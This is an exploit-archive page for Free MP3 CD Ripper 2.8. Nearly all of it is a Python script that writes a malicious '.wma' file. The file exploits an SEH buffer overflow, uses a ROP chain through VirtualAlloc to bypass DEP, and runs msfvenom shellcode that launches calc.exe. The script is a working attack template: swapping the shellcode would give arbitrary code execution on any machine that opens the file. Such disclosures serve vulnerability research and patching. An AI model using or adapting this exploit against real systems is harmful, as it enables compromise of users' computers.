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Free MP3 CD Ripper 2.8 .wma Buffer Overflow

Free MP3 CD Ripper 2.8 .wma Buffer Overflow
Posted Oct 9, 2018
Authored by Matteo Malvica

Free MP3 CD Ripper version 2.8 .wma buffer overflow SEH exploit with DEP bypass.

tags | exploit, overflow
SHA-256 | 90646b2edaa045cc1c5189b93ad50d629f1abe57a1b9e0c497dd3ac2b31e4b4f

Free MP3 CD Ripper 2.8 .wma Buffer Overflow

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# Exploit Title: Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass)
# Date: 2018-10-08
# Exploit Author: Matteo Malvica
# Vendor: Cleanersoft Software
# Software Link: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper
# Tested Version: 2.8
# Tested on OS: Windows 7 - 64bit
# Modified SEH Exploit https://www.exploit-db.com/exploits/45412/
# CVE : N/A
#
# Steps:
# 0. Turn DEP on and reboot
# I Run the python script, it will create a new file with the name "exploit.wma".
# II Start the program and click on "Convert".
# III Load the file "exploit.wma"
# IV A shiny calculator will pop-up on your desktop

#!/usr/bin/python
import struct

# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d\x2f' -f python
shellcode = ""
shellcode += "\xdb\xde\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x31\xba\xef"
shellcode += "\xc3\xbd\x59\x83\xc0\x04\x31\x50\x14\x03\x50\xfb\x21"
shellcode += "\x48\xa5\xeb\x24\xb3\x56\xeb\x48\x3d\xb3\xda\x48\x59"
shellcode += "\xb7\x4c\x79\x29\x95\x60\xf2\x7f\x0e\xf3\x76\xa8\x21"
shellcode += "\xb4\x3d\x8e\x0c\x45\x6d\xf2\x0f\xc5\x6c\x27\xf0\xf4"
shellcode += "\xbe\x3a\xf1\x31\xa2\xb7\xa3\xea\xa8\x6a\x54\x9f\xe5"
shellcode += "\xb6\xdf\xd3\xe8\xbe\x3c\xa3\x0b\xee\x92\xb8\x55\x30"
shellcode += "\x14\x6d\xee\x79\x0e\x72\xcb\x30\xa5\x40\xa7\xc2\x6f"
shellcode += "\x99\x48\x68\x4e\x16\xbb\x70\x96\x90\x24\x07\xee\xe3"
shellcode += "\xd9\x10\x35\x9e\x05\x94\xae\x38\xcd\x0e\x0b\xb9\x02"
shellcode += "\xc8\xd8\xb5\xef\x9e\x87\xd9\xee\x73\xbc\xe5\x7b\x72"
shellcode += "\x13\x6c\x3f\x51\xb7\x35\x9b\xf8\xee\x93\x4a\x04\xf0"
shellcode += "\x7c\x32\xa0\x7a\x90\x27\xd9\x20\xfe\xb6\x6f\x5f\x4c"
shellcode += "\xb8\x6f\x60\xe0\xd1\x5e\xeb\x6f\xa5\x5e\x3e\xd4\x59"
shellcode += "\x15\x63\x7c\xf2\xf0\xf1\x3d\x9f\x02\x2c\x01\xa6\x80"
shellcode += "\xc5\xf9\x5d\x98\xaf\xfc\x1a\x1e\x43\x8c\x33\xcb\x63"
shellcode += "\x23\x33\xde\x07\xa2\xa7\x82\xe9\x41\x40\x20\xf6"

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x00487219, # POP EDX # RETN [fcrip.exe]
0x004e9208, # ptr to &VirtualAlloc() [IAT fcrip.exe]
0x10007089, # MOV EAX,DWORD PTR DS:[EDX] # RETN [libFLAC.dll]
0x0040508e, # XCHG EAX,ESI # RETN [fcrip.exe]
0x004d9e5c, # POP EBP # RETN [fcrip.exe]
0x1000c5ce, # & push esp # ret [libFLAC.dll]
0x00445aff, # POP EBX # RETN [fcrip.exe]
0x00000001, # 0x00000001-> ebx
0x00494012, # POP EDX # RETN [fcrip.exe]
0x00001000, # 0x00001000-> edx
0x004c2d76, # POP ECX # RETN [fcrip.exe]
0x00000040, # 0x00000040-> ecx
0x00409aa4, # POP EDI # RETN [fcrip.exe]
0x00412557, # RETN (ROP NOP) [fcrip.exe]
0x639d1575, # POP EAX # RETN [vorbis.dll]
0x90909090, # nop
0x00493619, # PUSHAD # RETN [fcrip.exe]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
nop_block = '\x90' * 8
total_buffer = 4444
offset = "A" * 3804
SEH = struct.pack('<L',0x639d2ad8) # 0x639d2ad8 # ADD ESP,45C # XOR EAX,EAX # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [vorbis.dll] **
padding = "B" * (total_buffer - len(SEH) - len(offset))

payload = offset + nop_block + rop_chain + nop_block * 2 + shellcode + "\xCC" * 4 + SEH + padding

try:
f=open("exploit.wma","w")
print "[+] Creating %s bytes of tiramisA1 payload..." %len(payload)
f.write(payload)
f.close()
print "[+] High carb exploit created!"
except:
print "Dessert cannot be created"


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